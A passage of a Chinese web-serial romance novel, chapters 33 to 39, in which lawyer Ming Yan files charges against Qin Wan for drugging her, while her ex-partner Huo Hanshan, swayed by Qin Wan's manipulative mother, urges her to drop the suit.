他坐在办公室里,看似在处理文件,但目光却时不时地瞥向门口的方向,指尖在桌面上有一下没一下地敲击着。 外面的员工们也都心照不宣,一个个伸长了脖子,窃窃私语。 “明嫣姐怎么还没来啊?”、 “是不是想给霍律师一个惊喜,故意晚点到?” “肯定是!哎呀,好期待看到明嫣姐回来啊!所里没有她总觉得少了主心骨。” 韩晋更是坐立不安,一会儿跑到门口张望,一会儿又溜达到霍寒山办公室门口探头探脑。 时间一分一秒地过去。 九点整…… 门口没有动静。 九点半…… 依旧没有那个熟悉的身影。 十点…… 办公区原本兴奋的气氛渐渐冷却下来,开始弥漫起一丝不安和疑惑。 这……什么情况? 明嫣姐呢? 怎么还不来? 第34章 霍寒山早晚要追妻火葬场! 而此时的办公室里,韩晋找了个借口过来找霍寒山,见他脸上的期待一点点褪去,取而代之的是逐渐凝聚的冰寒。 他周身的气压开始降低,连韩晋都感觉到了。 韩晋心里咯噔一下,连忙关办公室门,干笑着打圆场:“老霍,别急别急,可能……可能路上堵车?或者明嫣在给我们准备什么更大的惊喜呢?好事不怕晚嘛!你想想,她那么喜欢你,怎么可能真不回来?” 霍寒山抬眸,眼神冰冷地扫了他一眼,没有说话,但那目光足以让韩晋头皮发麻。 “咳咳……”韩晋硬着头皮继续劝,“那个……要不,你主动点?去买束花,去酒店接她?女孩子嘛,总是要面子的,你亲自去请,姿态放低点,她肯定就……” “她不喜欢花。”霍寒山冷硬地打断他,语气里带着一丝不易察觉的烦躁。 他记得明嫣说过,觉得鲜花华而不实,凋谢得太快。 韩晋一噎,简直想敲开他的脑袋看看里面是不是只有法律条文,“大哥!这是喜不喜欢的问题吗?这是态度!是浪漫!是仪式感!女孩子说不要,有时候就是想要!” 霍寒山眉头紧锁,显然无法理解这种逻辑。 “不喜欢花可以送别的啊!珠宝?包包?她以前喜欢什么你总知道吧?”韩晋继续说道。 霍寒山沉默了。 他发现自己竟然答不上来。 明嫣喜欢什么? 她好像从未明确地向他索要过什么。 那些她曾经珍视的东西,不过是他偶尔出差顺手带回来的…… 或者压根就是随手送出去的…… 他从未真正用心去了解过她的喜好。 “其实我觉得吧……”韩晋拉着椅子往前挪了挪,“小明嫣她既然回京都了,肯定是消气了,要不你亲自去请她回来?她……” 可还没等他说完,霍寒山的手机突然响了起来,只见来电显示跳跃着两个字是——秦婉。 霍寒山的眉头不由得微微蹙紧,犹豫了一下,还是接了起来。 “寒山……你在哪儿啊?我妈她突然心口疼,有些喘不上气来,医生说是身体虚弱引起的……我有点儿害怕,你能不能过来一下?” 霍寒山捏了捏眉心,沉声道:“我马上过去。” 挂断电话,他拿起外套就往外走。 韩晋连忙拦住他,“老霍!你又去?秦姨那边不是有医生护士吗?明嫣今天可能就回来了!你这一走……” “秦姨情况不稳定,我必须去。”霍寒山语气不容置疑,“明嫣如果回来,让她等我。” 韩晋见状急得直跺脚,压低声音道:“老霍!你听我一句劝,秦婉她们母女俩没那么简单!你得多留个心眼……” 霍寒山的脚步顿了一下,却没有回头,只是淡淡地应了一句:“我知道分寸。” 然而,看他急匆匆离开的样子,韩晋就知道,他根本没把自己的话听进去。 在霍寒山的价值排序里,对秦晓林的那份责任,似乎永远排在明嫣的前面。 韩晋看着空荡荡的办公室门口,重重地叹了口气。 他总觉得霍寒山早晚要追妻火葬场! 烧成灰的那种! …… 京都,某私立医院VIP病房。 阳光透过百叶窗,在光洁的地板上切割出明暗相间的条纹。 病房里弥漫着消毒水和鲜花的混合气味,安静得能听到输液管里药液滴落的细微声响。 秦晓林靠在摇起的病床上,脸色虽然依旧带着病态的苍白,但眼神却没有初醒时的浑浊茫然,反而透着一股经历世事的精明和算计。 她轻轻拍着趴在自己床边抽泣的秦婉的手背,声音温和,“好了,婉儿,别哭了,哭解决不了问题。” 秦晓林抽出纸巾,递给女儿,“跟妈说说,到底怎么回事?寒山怎么对你冷淡了?” 秦婉抬起哭得红肿的眼睛,妆容都有些花了,她委屈地撇着嘴,添油加醋地将这段时间的事情说了一遍,重点描绘明嫣如何‘耍手段’,而霍寒山又是如何被‘迷惑’,对她这个青梅竹马不闻不问。 “……妈,你是没看见,寒山现在眼里只有那个明嫣!为了找她,连京都都不待了,跑去江南……”秦婉越说越气,指甲几乎要掐进掌心。 秦晓林安静地听着,脸上没什么表情,只有眼底深处掠过一丝冷光。 等到秦婉说完,她才缓缓开口,声音不高,却带着一种奇异的安抚力量:“婉儿,你太沉不住气了。” 秦婉一愣:“妈?” “男人,尤其是像寒山这样出色又骄傲的男人,最讨厌的是什么?”秦晓林看着她,循循善诱,“是逼迫,是算计,是歇斯底里的纠缠。你越是这样,只会把他推得越远。” 秦婉有些不甘心:“可是……难道就眼睁睁看着明嫣那个贱人得意?” “谁说她得意了?”秦晓林唇角勾起一抹意味深长的弧度,“她越是表现得清高,越是把寒山往外推,对我们越有利。” 她拉过女儿的手,轻轻拍了拍:“听妈的,从现在开始,收起你那些小性子。不要再去主动纠缠寒山,更不要在他面前说明嫣的不是。你要做的,是示弱,是表现得懂事。体贴和无辜。” “示弱?”秦婉不解。 “对。”秦晓林眼神锐利,“你要让寒山觉得,你才是那个受了委屈却默默承受的人。你是他的责任,是他需要保护的对象。而不是一个给他添麻烦的累赘。” 她顿了顿,压低声音:“像寒山这种男人,外表冷漠,内心其实极度缺乏安全感,对认定的责任有着近乎偏执的守护欲。他吃软不吃硬。你越是柔弱无助,越是依赖他,他反而越无法轻易舍弃你。明白吗?” 秦婉似懂非懂地点了点头。 秦晓林继续教导:“至于那个明嫣……她既然选择用这种激烈的方式离开,就是在寒山心里埋下了一根刺。这根刺,会随着时间发酵,只要稍加引导,就会变成无法逾越的鸿沟。你现在要做的,不是去当那个拔刺的人,而是时不时地,往那根刺周围撒点盐,让它溃烂、发炎……” 她的声音轻柔,话语里的内容却让人不寒而栗。 “可是妈,万一寒山他真的……”秦婉还是有些不放心。 “没有万一。”秦晓林打断她,语气笃定,“只要我们握着他欠我的这条‘命’,他就永远不可能彻底摆脱我们。这是我们的护身符,也是拴住他的最牢的锁链。” 她看着女儿,眼神带着一丝警告和期待:“婉儿,你要学会用脑子,而不是只会发脾气。霍寒山这样的男人,值得你花心思。把他牢牢抓在手里,将来霍寒山的一切,都会有你的一半。至于那个明嫣……不过是个跳梁小丑,迟早会把自己作死。” 秦婉听着母亲的话,眼睛渐渐亮了起来,仿佛找到了主心骨。 是啊,她有妈妈在,有这份‘救命之恩’在,她怕什么? 明嫣拿什么跟她斗? 第35章 上梁不正下梁歪 而此时的医院的走廊,明嫣捏着手里的牛皮纸文件袋。 袋子里装着的,是足以将秦婉送进监狱的报警回执和诉讼材料副本。 她今天来,就是要亲手将这纸诉状,甩在秦婉脸上。 刚走到VIP病房区,还没找到秦晓林的病房,一个熟悉的高大身影便从拐角处转了出来。 霍寒山。 他似乎是刚接完电话,眉头微蹙着,一抬眼,也看见了她。 四目相对的瞬间,霍寒山明显愣了一下。 “你怎么来这儿了?怎么不去公司?” “?” 明嫣的眉头瞬间拧紧,像是听到了什么天方夜谭。 去公司? 他在说什么鬼话? “寒山……” 而就在这时,只见秦婉不知道从哪儿冒了出来。 她显然也看见了明嫣,脸上一闪而过的错愕和嫉恨,但转念想到方才秦晓林的叮嘱,便立马换上了楚楚可怜的模样。 她走到霍寒山身边,像是有些害怕地瞥了明嫣一眼,然后轻轻拉住霍寒山的衣袖,“寒山,明嫣她怎么也来了?我妈妈她……她刚刚清醒过来,身体还很虚弱,医生也说情绪不宜有太大波动,恐怕……恐怕受不了刺激,最好还是不要见陌生人……” 明嫣几乎要气笑了。 她看着秦婉那副惺惺作态的样子,只觉得胃里一阵翻涌。 这话说的,好像她看秦晓林一眼就能把她看死似的! “怎么?莫不是心里有鬼?所以才怕见人?” 秦婉脸色一变,刚要反驳,霍寒山却沉声开口,“好了!” 他的眉头皱紧,“既然秦姨需要静养,那就不打扰了。明嫣,我们改天再一起来探望。” 他说着,就下意识地伸手想去拉明嫣的手腕,却被明嫣躲开。 “寒山……” 秦婉脸色难堪,万万没有想到霍寒山竟然这么不给自己脸面,当即委屈地红了眼眶,“你怎么……” 可她的话还没说完,就听见病房里传来一个温和的女声,“婉儿,在门口吵吵嚷嚷得像什么样子?是寒山来了吗?怎么不请人进来?” 只见秦晓林披着一件厚外套,脸色依旧苍白,倚在门框上,目光先是落在霍寒山身上,随即又转向明嫣,上下打量了她一番,眼神里带着恰到好处的好奇和一丝不易察觉的审视。 秦婉没想到母亲会突然出来,连忙上前搀扶:“妈,你怎么出来了?医生让你好好躺着……” 秦晓林轻轻拍了拍女儿的手,示意她稍安勿躁,然后对着霍寒山和明嫣露出一个虚弱却得体的微笑:“寒山,这位是……明小姐吧?快,别在门口站着了,都进来坐吧。” 她的态度温和有礼,仿佛只是一个热情好客的长辈。 明嫣看着这一幕,心里冷笑——若不是她之前看过资料,恐怕要被她这幅模样骗了。 她倒要看看,这对母女葫芦里到底卖的什么药。 于是,她也没推辞,跟着走了进去。 VIP病房宽敞明亮,设施齐全,更像一个高档酒店套房。 秦晓林在秦婉的搀扶下,慢悠悠地坐回床上,靠着柔软的枕头,目光再次落到明嫣身上,带着一种长辈打量小辈的温和,率先开了口,语气带着几分歉意: “明小姐,真是不好意思。婉儿这孩子,从小被我惯坏了,性子直,不懂事。之前她做的那些糊涂事,我都听说了……是她不对,破坏了您和寒山的关系。” 她叹了口气,一副痛心疾首的模样:“我在这里,代她向您赔个不是。还请您大人有大量,不要跟她一般见识,更不要因此嫉恨她。” 她顿了顿,目光意有所指地瞟了一眼站在一旁的霍寒山,“婉儿她……说到底,也是因为太在乎寒山了。他们俩从小一起长大,青梅竹马,那份情分,自然是不比旁人的,感情深厚些也是难免……希望明小姐能理解。” 这番话,看似是在道歉,实则字字句句都在提醒明嫣——秦婉和霍寒山有着她无法比拟的过去和深厚情分。 她明嫣才是个后来者,是她嘴里的‘旁人’。 高明,真是高明。 比起秦婉那种低级的撒泼挑衅,秦晓林这种绵里藏针的段位,不知道高出了多少。 若是以前的明嫣,或许还会因为这番话而感到刺痛和不安。 但现在…… 明嫣只觉得可笑。 她抬起眼眸,迎上秦晓林那双看似温和的眼睛,唇角勾起一抹极淡的弧度,“秦女士,您多虑了。” 她声音平静无波,“我跟霍寒山已经分手了……” 说到这里,她嗓音微顿,甚至勾了一下唇,“所以,我衷心祝愿霍律师和秦小姐——” “百年好合,早生贵子。” “……” 死寂。 病房里陷入了一片死一样的寂静。 空气仿佛凝固了,连输液管里药液滴落的声音都变得异常清晰。 秦婉张大了嘴巴,难以置信地看着明嫣,似乎没料到她会如此直接,如此不留情面。 秦晓林脸上的温和笑容也僵硬了一瞬,眼底飞快地掠过一丝阴沉,但很快又恢复自然,只是搭在被子上的手,指节微微收紧。 而霍寒山—— 他的脸色在明嫣说出‘分手’两个字时,就皱成了一团疙瘩。 可还没等他开口,倒是秦晓林率先开口。 她的脸上先是震惊,随即满是歉意到,“明小姐,你别闹脾气啊,婉儿她就是这样的性子,都是被我惯坏了,你不要跟她一般见识……” “你也别生寒山的气,他跟婉儿就跟姐弟一样,不是你想象的那样,你千万别误会……” 几句话没有说秦婉和霍寒山的半句不是,倒是话里话外都在指责她明嫣小题大做,不懂事! 手段真是高明啊! 秦婉跟她妈妈比起来,段位完全不够看的! “我很好奇——”明嫣歪了歪头,兀自轻笑了一声,“秦婉这个性子到底是被秦阿姨惯坏的,还是——” 她一字一句道,“上梁不正,下梁歪!” “你!”秦婉听到这话,气得脸色大变,刚想发作时,却被秦晓林一把拽住了手腕。 只见她满脸仓皇失措,“寒山,我是不是说错话了?你看我昏迷了这么多年,话都不会说了……你赶紧帮我哄哄明小姐……” 第36章 不和解,不撤诉 霍寒山的眉头瞬间拧紧。 理性告诉他,秦姨是为了救他才变成植物人,昏迷五年,刚刚苏醒,身体虚弱,受不得刺激。 于情于理,明嫣都不该在这种时候说出如此尖锐的话。 他下意识地扭头看向明嫣,希望她能像以前一样主动退让。 然而,待看懂他脸上的表情,明嫣的唇角却勾起一丝冷笑。 她以前还真是瞎了眼。 现如今想起来,秦婉凭什么敢一次次蹬鼻子上脸地欺负她? 凭什么能理直气壮地让她输九十九次血? 都是因为霍寒山…… 若不是他,她秦婉算个什么东西,也配在她面前耀武扬威? “明嫣!” 就在这时,秦婉突然红着眼护在秦晓林面前,“你有火气都冲着我来,别欺负我妈妈,她在病床上躺了五年刚醒,受不得刺激……” 她演得情真意切,而身旁的秦晓林也配合,露出一脸虚弱心痛的表情。 明嫣冷眼看着这对母女的表演,只觉得胃里一阵翻腾。 她轻笑一声,“躺了五年?” 目光落在秦晓林苍白却保养得宜的脸上,“秦阿姨这气色,可不像在床上躺了五年的样子……不知道的,还以为这五年是出去逛街打麻将了!” “你……胡说八道什么!”秦婉猛地抬头尖声反驳,眼神却闪过一丝慌乱。 秦晓林的心脏也是猛地一沉,后背瞬间沁出一层冷汗。 她……她知道了什么? 不可能! 那些事情做得极其隐秘,她怎么可能知道? 秦晓林的大脑飞速运转…… 明嫣没给她思考的时间,直接将牛皮纸文件袋甩给秦婉。 “别演了。”她冷声说,“好好看看里面的东西。” 秦婉被砸得一懵,下意识接住,心头涌起不祥的预感。 “这……这是什么?” “报警回执,监控录像截图,证人证言,以及……诉讼状副本。” 她一字一句,清晰无比地宣告:“你涉嫌在公共场合对我下药,证据确凿。我会以故意伤害罪起诉你,不和解,不撤诉。” 她微微前倾身体,目光如炬,盯着秦婉瞬间血色尽失的脸,“你最好祈祷法官能对你从轻发落,否则……” 明嫣没有把话说完,但那双冰冷的眼睛里传达出的意思再明确不过—— 她会让秦婉把牢底坐穿。 这句话如同一个重磅炸弹,在病房里轰然炸响! 秦婉像是被烫到一样,猛地将文件袋扔了出去,纸张散落一地,露出上面清晰的“诉讼状”字样和警局的公章。 “不!不是的!你污蔑我!寒山,她污蔑我!”秦婉彻底慌了神,涕泪横流地抓住霍寒山的胳膊,“我没有!我什么都没做!是她故意陷害我的!” 秦晓林也彻底变了脸色,她再也维持不住那副温婉虚弱的假面,声音尖锐起来:“明小姐!你这是什么意思?!婉儿她还是个孩子!她怎么可能做那种事?!这一定是误会!你不能因为跟寒山闹矛盾,就把气撒在婉儿身上啊!” 她转而看向霍寒山,语气带着哭腔和指责:“寒山!你看看!这……这到底是怎么回事?你怎么能让明小姐这么欺负婉儿?我就婉儿这么一个女儿,她要是坐了牢,我……我也不活了!” 霍寒山的脑子一片混乱。 下药? 诉讼? 坐牢? 这些词汇像碎片一样冲击着他的认知。 他低头看着散落在地上的诉讼状副本,白纸黑字,以及那个刺眼的警局公章,都在告诉他,这不是儿戏。 他弯腰,捡起一张纸,目光飞快地扫过上面的内容——时间、地点、监控证据、药物检测报告……逻辑清晰,证据链看似完整。 他的眉头越皱越紧。 理性告诉他,如果证据确凿,秦婉的行为已经构成犯罪。 但基于责任和过往认知形成的判断。 秦姨救过他,秦婉是秦姨唯一的女儿。 他不能眼睁睁看着秦婉坐牢。 “这到底是怎么回事?”霍寒山的声音低沉沙哑,压抑着怒火看向秦婉,“诉讼书上说的是真的?你真的……” “我没有!寒山,你相信我!”秦婉疯狂摇头,“是明嫣!一定是她伪造的证据!她要毁了我!寒山,你可是京都最厉害的律师,你帮帮我,我不能坐牢啊!” 秦晓林抓住他的袖子,老泪纵横:“寒山,阿姨求你了,就看在阿姨为你挡了那辆车的份上,你帮帮婉儿!她要是出了事,阿姨真的活不下去了啊!” 哭求声让霍寒山头疼欲裂。 他深吸一口气,看向明嫣,“明嫣,这件事可能有什么误会。先把诉讼撤了,我们私下解决,没必要闹到法庭上,对谁都不好……” 明嫣看着他,她甚至懒得再去反驳。 她早就该知道的。 在霍寒山的世界里,她明嫣永远是那个权衡利弊后被放弃的那个! “呵。”她发出一声极轻的嗤笑,像是在嘲笑他的天真,又像是在嘲笑自己曾经愚蠢的期待。 “我们法庭上见!” 说着,她没有再看霍寒山一眼,也没有再看那对戏精母女。 她只是挺直了脊背,转身,毫不犹豫地朝着病房门口走去。 背影决绝,没有一丝留恋。 “明嫣!”霍寒山下意识地想追上去。 “寒山!”秦晓林却死死拽住他的袖子,声音凄厉,“你不能走!你走了婉儿怎么办?那个明嫣她要告婉儿啊!你答应过我的,会照顾好我们母女的!你不能说话不算数!” 秦婉也扑过来抱住他的腿,哭得撕心裂肺:“寒山,你别走!我害怕!帮帮我!” 霍寒山的脚步被死死拖住,他只能眼睁睁看着明嫣的身影消失在病房门口,走廊的光线在她身后合拢,仿佛将他彻底隔绝在她的世界之外。 一股前所未有的恐慌和空落感瞬间席卷了他。 他猛地甩开秦婉的手,力道之大让秦婉踉跄了一下。 他弯腰,将散落在地上的诉讼材料一张张捡起来,动作快得近乎粗暴。 他的脸色阴沉得能滴出水来,目光锐利地看向还在抽泣的秦婉,声音冷得像冰: “秦婉,你给我说实话,这上面写的,到底是不是真的?” 第37章 大哥杀上门来了! 病房外,明嫣快步走着,高跟鞋敲击在地面上,发出清脆的回响。 她紧紧攥着手包,指节泛白。 霍寒山方才的姿态姿态,彻底斩断了她心底最后一丝牵连。 很好。 这样最好。 从此桥归桥,路归路。 她拿出手机,看了一眼时间,准备联系陆奉归,开始推进诉讼的下一步。 然而,一条新信息先一步跳了出来。 发信人:傅修沉。 【事情处理得还顺利吗?】 明嫣的心微微一动。 她犹豫了一下,回复:【刚结束,不太顺利,但也在意料之中。】 短信发出去没几秒,手机屏幕就亮了起来,傅修沉的电话直接打了过来。 明嫣看着屏幕上跳跃的名字,微微怔了一下,随即深吸一口气,调整了一下呼吸,接起了电话。 “喂,傅总。” 电话那头传来傅修沉低沉稳重的嗓音,“听起来,谈得不愉快?” 明嫣走到走廊尽头的窗边,看着楼下川流不息的车流,自嘲地扯了扯嘴角:“何止是不愉快。霍寒山让我撤诉,私下解决。” 电话那头沉默了一瞬,随即传来一声极轻的敲击声,像是傅修沉屈指在桌面上轻轻叩击。 “需要我帮忙吗?”傅修沉问道,“周慕言在这方面也有人脉。” “不用了,傅总。”明嫣拒绝了他的好意,“这个案子,我想亲自来。我是受害人,也是律师,没有人比我更清楚该怎么打。” 傅修沉在那头似乎低笑了一声,可还没等他说什么,明嫣的手机有另一个电话插了进来——是陆奉归。 “傅总,我助理来电话了,可能律所有事,我先接一下。” “嗯,你去忙。” 挂断傅修沉的电话,明嫣立刻接起了陆奉归的来电。 电话刚一接通,陆奉归鬼哭狼嚎的声音就顺着话筒炸了过来,差点把明嫣的耳膜震穿: “老板!老大!救命啊!你什么时候回来?!律所来了个活阎王!不不不,比阎王还可怕!那气场简直了!我感觉咱们律所的小庙都快被他给拆了!” 明嫣被他吵得头疼,把手机拿远了一些,蹙眉道:“你冷静点,慢慢说,什么活阎王?客户吗?” “客户?我一开始也以为是哪个难缠的大客户!” 陆奉归的声音都在颤,“那人一身黑西装,个子超高,脸是帅得人神共愤,可那眼神冷的啊……跟西伯利亚寒流过境似的!往咱们律所一站,我感觉空调都不用开了,直接省电!” 他语无伦次地描述着:“他一进来,也不说话,就那么扫了一眼,就直接问你人呢?我说明律师现在不在,您有什么业务可以跟我先谈谈,结果你猜怎么着?” “……” 明嫣有些头疼的捏了捏眉心,这小子不去说相声真是屈才了。 应该送去某云社。 见明嫣没搭话,陆奉归却也不在意,“他就看了我一眼,真的,就一眼!我差点腿一软给他跪下!然后他说——‘让明嫣出来见我。’我的妈呀,那语气,那架势,不知道的还以为咱们律所欠了他几个亿呢!” 明嫣听着陆奉归夸张的描述,心里那股不祥的预感越来越强烈。 个子高,气场冷,脸帅,指名道姓找她…… 她抿了抿有些发干的嘴唇,试探性地问道:“那个人……走路是不是有点……不太自然?稍微有点跛脚?” “卧槽!”陆奉归在电话那头直接惊呼出声,声音都变了调,“老大!你真是神机妙算啊!你怎么知道的?!没错!是有那么一点点,但是不明显,要不是我观察入微……” 陆奉归后面的话,明嫣已经听不清了。 她只觉得脑子里“嗡”的一声,像是有什么东西炸开了。 完蛋了。 真的是他。 她大哥——明燃。 他怎么找到江南去了?! 还直接杀到了她的律所?! 明嫣咕噜一声,艰难地咽了口唾沫,只觉得后背瞬间沁出了一层冷汗。 “老大?老大你还在听吗?”陆奉归还在电话那头心有余悸地叨叨,“那人到底是谁啊?也太吓人了!我说你去京都出差了,他脸色更沉了,一句话没说,扭头就走……我感觉他不是来找你谈业务的,像是来……清理门户的?” 清理门户…… 明嫣的嘴角抽搐了一下。 以她大哥的性子,还真有可能。 她当初执意要跟霍寒山来京都,几乎是跟家里闹翻了。 大哥明燃气得差点跟她断绝关系,放话让她以后在外面吃了苦头别回来哭。 这几年,她跟家里的联系少之又少,尤其是和大哥,几乎处于冷战状态。 现在她悄无声息地离开了霍寒山,跑到了江南,还开了个律所…… 大哥肯定是知道了消息,杀上门来了。 “行了,我知道了。”明嫣强行让自己镇定下来,“他没把律所怎么样吧?” “那倒没有,就是差点把我吓出心脏病。”陆奉归拍着胸脯,“老板,你赶紧回来吧!我感觉那位爷不会善罢甘休的,他肯定还得来找你!下次我可顶不住了!” “嗯,我这边事情处理得差不多了,订明天的机票回去。”明嫣揉了揉突突直跳的太阳穴,“在我回去之前,如果他再来,你就说……说我去外地取证了,归期不定。” “啊?还来?”陆奉归的声音带着哭腔,“老板,你饶了我吧!我真扛不住啊!” “扛不住也得扛!”明嫣没好气地道,“好了,我先挂了,京都这边还有事要处理。” 不等陆奉归再哀嚎,明嫣直接挂断了电话。 她靠在冰凉的墙壁上,长长地吐出一口浊气。 前有霍寒山和秦家母女纠缠不清,后有大哥明燃追杀而至…… 这日子,真是过得一波未平一波又起。 …… 而与此同时,江南某高端私人会所内。 明燃坐在真皮沙发上,面前放着一杯冒着热气的茶。 他脸色阴沉,左腿的旧伤在男方这种阴湿天气里隐隐作痛,让他的心情更加烦躁。 “查到了吗?”他看向站在对面的助理,声音冷硬。 “明总,查到了。”助理恭敬地递上一份资料,“小姐确实在江南开了一家律师事务所,叫‘嫣然律师事务所’,注册时间不到两个月。地址就是您今天去过的那个地方。” 明燃接过资料,快速扫了一眼,当看到律所名字时,他先是挑了挑眉,随即冷哼了一声:“嫣……燃?倒是会起名字。” “另外……”助理犹豫了一下,继续说道,“我们查到,小姐最近和傅……傅修沉走得比较近。” “傅修沉?” 明燃的眉头瞬间拧成了一个疙瘩,眼神锐利如刀,“哪个傅修沉?” “就是傅家的太子爷……跃华生物的创始人。”助理的声音不自觉地低了下去。 明燃的脸色瞬间变得难看至极,“给我订机票,我去京都!” “是……明总!” 第38章 霍寒山,我们法庭上见 与此同时的vip病房里。 霍寒山脸色阴沉地看着坐在对面,哭得眼睛红肿的秦婉。 他手里拿着那份明嫣留下的诉讼状副本,指尖因为用力而泛白。 “秦婉,我再问你最后一次,”他的声音冷得像冰,没有任何温度,“明嫣指控你下药,是不是真的?” “寒山!你怎么能不相信我?!”秦婉的眼泪流得更凶,“是明嫣她陷害我!那些证据肯定是她伪造的!” 秦晓林适时地捂住胸口,咳嗽了两声,“寒山……婉儿她胆子小,怎么可能做那种事?这一定是误会……明小姐她……她是不是因为和你分手,受了刺激,所以才……” 霍寒山烦躁地松了松领带。 理性告诉他,明嫣不是那种会无中生有,伪造证据的人。她是一名律师,比任何人都清楚伪造证据的后果。 而且,那份诉讼材料逻辑清晰,证据链完整,尤其是那份酒店监控和侍应生的证词,指向性非常明确。 “寒山,”秦晓林观察着他的神色,放缓了语气,“阿姨知道,这件事让你为难了。但是……你就看在阿姨当年为你差点把命都丢了的份上,帮帮婉儿,好吗?她还这么年轻,不能就这么毁了啊……” 她说着,又开始抹眼泪:“如果你不管她,我们母女俩就真的没有活路了……” 霍寒山闭了闭眼,他的大脑像是一台高速运转的精密仪器,试图在混乱中找出最优解,却发现所有的逻辑路径最终都指向一个死胡同。 “我会联系明嫣。”他最终沙哑地开口,“尽量说服她撤诉。但前提是,你们必须拿出诚意,向她郑重道歉,并做出足够的赔偿。” 这是他目前能想到的,既能保全秦婉,又能给明嫣一个交代的折中方案。 “道歉?赔偿?”秦婉顿时不乐意了,“我凭什么向她道歉?!我没做就是没做!” “婉儿!”秦晓林厉声喝止她,随即转向霍寒山,勉强挤出一丝笑容,“应该的,应该的……只要明小姐肯高抬贵手,让我们做什么都行……寒山,那就全靠你了……” 霍寒山站起身,“我先走了,你们等消息。” 他需要立刻找到明嫣。 …… 霍寒山几乎是动用了所有能用的关系,才查到了明嫣下榻的酒店。 他直接驱车赶到酒店,在前台亮明身份,软硬兼施,才问到了明嫣的房间号。 站在2808房间门口,霍寒山深吸了一口气,整理了一下微乱的领带和袖口,这才抬手按响了门铃。 房间里,明嫣这会儿正翻阅着相关资料,听到门铃响,便走到门后,透过猫眼看去—— 霍寒山? 他怎么会找到这里? 明嫣的眉头瞬间蹙起,心底涌起一股厌烦。 她不想见他。 可门铃却持续不断地响着,带着一种不达目的不罢休的执着。 明嫣深吸一口气,猛地拉开了房门。 “霍律师,有事?”她的语气疏离而冰冷,带着明显的不耐烦。 霍寒山看着门内的明嫣。 她穿着酒店的白色浴袍,头发湿漉漉地披散在肩头,脸上还带着水汽,素颜朝天,却依旧明艳动人。 只是那双看向他的眼睛里,再也没有了往日的温度和星光,只剩下冰封的漠然。 “我们谈谈。”霍寒山的声音干涩。 “我以为在医院已经谈得很清楚了。”明嫣倚在门框上,丝毫没有让他进去的意思,“如果还是为了秦婉撤诉的事,那就免开尊口。” “明嫣!”霍寒山的语气带上了几分急切,“我知道你生气,但这件事没必要闹到法庭上!秦姨她刚醒,身体受不得刺激,如果秦婉真的……秦姨她会受不了的!” 又是秦姨! 明嫣几乎要冷笑出声。 “她受不受得了,跟我有什么关系?”明嫣的声音平静无波,却字字诛心,“霍寒山,你是不是忘了,我才是受害者!秦婉给我下药的时候,怎么没想过我受不受得了?” “那可能只是个误会!秦婉说她没有做……”霍寒山试图解释,却发现语言如此苍白。 “误会?”明嫣像是听到了什么天大的笑话,“霍寒山,你的理智呢?你的逻辑呢?都被狗吃了吗?证据摆在面前,你还要为她开脱?” 她向前一步,逼视着霍寒山,眼神锐利如刀:“霍寒山,你口口声声说秦姨对你有恩,你要报答。那我呢?我跟在你身边五年,为你付出一切,我得到的是什么?” 她的声音微微拔高,带着压抑已久的愤怒和委屈:“现在,秦婉涉嫌犯罪,你跑来让我这个受害者撤诉?霍寒山,你到底把我当什么?你可以随意牺牲践踏的工具吗?!” “我不是那个意思……”霍寒山被她眼中的痛楚和质问刺得心口发慌,他下意识地想伸手去拉她,“明嫣,我……” “别碰我!”明嫣猛地后退一步,躲开他的触碰,眼神里是毫不掩饰的厌恶,“霍寒山,收起你那一套!你的道歉,你的弥补,我都不需要!我只需要法律给我一个公正!” 她看着霍寒山瞬间苍白的脸色,一字一句地宣告:“这个官司,我打定了。秦婉,必须为她做的事付出代价。至于你——” 她顿了顿,唇角勾起一抹极致讽刺的弧度:“如果想帮你的‘青梅竹马’辩护,尽管放马过来。我们法庭上见真章!” 说完,她不再给霍寒山任何开口的机会,猛地关上了房门。 “砰!” 沉重的关门声,像一记重锤,狠狠砸在霍寒山的心上。 他僵在原地,看着眼前紧闭的房门,仿佛看着他和她之间那扇彻底关闭,再也无法开启的心门。 耳边回荡着她最后那句话——如果想帮你的‘青梅竹马’辩护,尽管放马过来。 她竟然……真的想跟他对阵吗? 她明明知道赢不了他的…… 一种巨大的恐慌如同潮水般将他淹没。 他第一次如此清晰地意识到——他好像,真的要彻底失去明嫣了。 第39章 我们重新开始 律师这个圈子原本就小得可怜。 很快,明嫣跟霍寒山可能在法庭上对垒的消息就迅速刮回了明寒律所。 所有人都懵了。 他们大多是明嫣一手招聘进律所并培养起来的,对这位能力强,没架子,又处处维护下属的明嫣姐有着不一样的感情。 可如今,他们却可能要站在她的对立面,帮着霍律师去对付她? 这……这算怎么回事? “怎么会这样……”一个年轻助理喃喃道,“明嫣姐要告秦婉?那个秦婉还给明嫣姐下药?这也太恶毒了吧!” “霍律师他……他竟然还想让明嫣姐撤诉?”另一人语气里充满了不解和愤懑,“明明明嫣姐才是受害者啊!” “这官司真要打起来,我们岂不是要跟明嫣姐对着干?” “那我们怎么办?这个案子……我们要参与吗?” 众人面面相觑。 他们敬佩霍寒山的专业能力,但更念及明嫣的情分。 帮霍寒山去打这个官司,对付明嫣? 他们良心上过不去。 韩晋看着办公室里一片愁云惨淡,重重地叹了口气。 他走到霍寒山办公室门口,犹豫了一下,还是敲了门进去。 “老霍,你看……要不这个案子,你就别接了吧?让别的律师……” 霍寒山头也没抬,声音冰冷地打断他,“秦婉这个案子,我会亲自跟。” “可是……” “没有可是。”霍寒山终于抬眸看他,“做好你分内的事。” 韩晋看着他这副油盐不进的样子,知道再劝也没用,只能无奈地退了出去。 中午时分,秦婉果然提着一个精致的食盒,袅袅婷婷地来到了明寒律所。 她今天特意打扮过,一身白色连衣裙,看起来清纯又无辜。 “大家好,我来给寒山送午餐,他人呢?”她声音娇嗲,试图展现她未来女主人的亲和。 然而,回应她的是一片冰冷的沉默。 没有人抬头看她,没有人跟她打招呼。 几个正在休息区喝咖啡的律师,看见她过来,直接起身端着杯子回了自己工位,仿佛她是什么瘟疫。 甚至有人在她经过时,毫不掩饰地发出一声清晰的冷哼。 秦婉脸上的笑容瞬间僵住,提着食盒的手指用力到骨节发白。 她何曾受过这种待遇?! 以前她来律所,哪次不是被众人捧着、恭维着? 就算有人心里不服气,表面上也得对她客客气气! 现在,就因为她被明嫣那个贱人告了,这些下贱的东西就敢给她脸色看了?! 她强忍着怒火,快步走到霍寒山办公室门口,连门都没敲就直接推门进去。 “寒山!”她委屈地喊了一声,将食盒放在桌上,“你看你们律所的人!他们……他们都给我脸色看!” 霍寒山从文件中抬起头,眉头微蹙,显然对她的闯入和不加掩饰的抱怨感到不悦,“我在工作。” 秦婉满脸委屈,“我这不是怕你饿着,来给你送饭的嘛……” 